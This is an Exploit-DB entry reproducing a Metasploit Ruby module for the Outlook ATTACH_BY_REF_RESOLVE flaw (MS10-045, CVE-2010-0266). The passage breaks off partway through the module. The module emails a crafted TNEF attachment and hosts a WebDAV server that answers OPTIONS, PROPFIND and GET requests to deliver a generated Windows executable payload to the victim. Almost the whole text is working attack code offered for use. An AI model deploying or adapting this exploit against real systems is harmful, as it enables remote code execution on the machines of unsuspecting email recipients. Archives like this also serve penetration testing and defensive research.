Exploit-DB #16699
Description: Microsoft Outlook - 'ATTACH_BY_REF_RESOLVE' File Execution (MS10-045) (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: ms10_045_outlook_ref_resolve.rb 10389 2010-09-20 04:38:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	# This module acts as an HTTP server
	include Msf::Exploit::Remote::HttpServer::HTML

	# This module also sends email
	include Msf::Exploit::Remote::SMTPDeliver

	# This module generates an EXE
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'			=> 'Outlook ATTACH_BY_REF_RESOLVE File Execution',
			'Description'		=> %q{
				It has been discovered that certain e-mail message cause Outlook to create Windows
				shortcut-like attachments or messages within Outlook. Through specially crafted TNEF
				streams with certain MAPI attachment properties, it is possible to set a path name
				to files to be executed. When a user double clicks on such an attachment or message,
				Outlook will proceed to execute the file that is set by the path name value. These
				files can be local files, but also file stored remotely for example on a file share.
				Exploitation is limited by the fact that its is not possible for attackers to supply
				command line options.
			},
			'Author'		=> 'Yorick Koster <yorick@akitasecurity.nl>',
			'Version'		=> '$Revision: 10389 $',
			'References'	=>
				[
					['MSB', 'MS10-045'],
					['CVE', '2010-0266'],
					['OSVDB', '66296'],
					['BID', '41446'],
					['URL', 'http://www.akitasecurity.nl/advisory.php?id=AK20091001'],
				],
			'Stance'         => Msf::Exploit::Stance::Passive,
			'Payload'        =>
				{
					'Space'       => 1024,
					'Compat'      =>
						{
							'ConnectionType' => '-bind -find',
						},

					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        => [ [ 'Automatic', {} ] ],
			'DisclosureDate' => 'Jun 01 2010',
			'DefaultTarget'  => 0
		))

		register_options(
			[
				#
				# Email options
				#
				OptString.new('MESSAGECLASS',
					[false, 'Message Class value', 'IPM.Document.txtfile']),
				OptString.new('EXTENSION',
					[false, 'The extension used in the fake file name', 'jpg']),
				OptString.new('VERBOSE',
					[ false, 'Display verbose information', "true"]),
				#
				# WebDAV options
				#
				OptPort.new('SRVPORT',   [ true,  "The daemon port to listen on (do not change)", 80 ]),
				OptString.new('URIPATH', [ true,  "The URI to use (do not change).", "/" ]),
				OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ])
			], self.class)

		deregister_options('SSL', 'SSLVersion') # Just for now
	end

	def on_request_uri(cli, request)

		case request.method
		when 'OPTIONS'
			process_options(cli, request)
		when 'PROPFIND'
			process_propfind(cli, request)
		when 'GET'
			process_get(cli, request)
		else
			print_error("Unexpected request method encountered: #{request.method}")
			resp = create_response(404, "Not Found")
			resp.body = ""
			resp['Content-Type'] = 'text/html'
			cli.send_response(resp)
		end

	end

	def process_get(cli, request)

		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		webdav = "\\\\#{myhost}\\"

		if (request.uri =~ /\.exe$/i)
			print_status "Sending EXE payload #{cli.peerhost}:#{cli.peerport} ..."
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_exe({ :code => p.encoded })
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
		end

		print_status "Sending 404  to #{cli.peerhost}:#{cli.peerport} ..."
		resp = create_response(404, "Not Found")
		resp.body = ""
		resp['Content-Type'] = 'text/html'
		cli.send_response(resp)
	end

	#
	# OPTIONS requests sent by the WebDav Mini-Redirector
	#
	def process_options(cli, request)
		print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
		headers = {
			'MS-Author-Via' => 'DAV',
#			'DASL'          => '<DAV:sql>',
#			'DAV'           => '1, 2',
			'Allow'         => 'OPTIONS, GET, PROPFIND',
			'Public'        => 'OPTIONS, GET, PROPFIND'
		}
		resp = create_response(207, "Multi-Status")
		resp.body = ""
		resp['Content-Type'] = 'text/xml'
		cli.send_response(resp)
	end

	#
	# PROPFIND requests sent by the WebDav Mini-Redirector
	#
	def process_propfind(cli, request)
		path = request.uri
		print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
		body = ''

		my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		my_uri    = "http://#{my_host}/"

		if path =~ /\.exe$/i
			# Response for the DLL
			print_status("Sending EXE multistatus for #{path} ...")
			body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:loc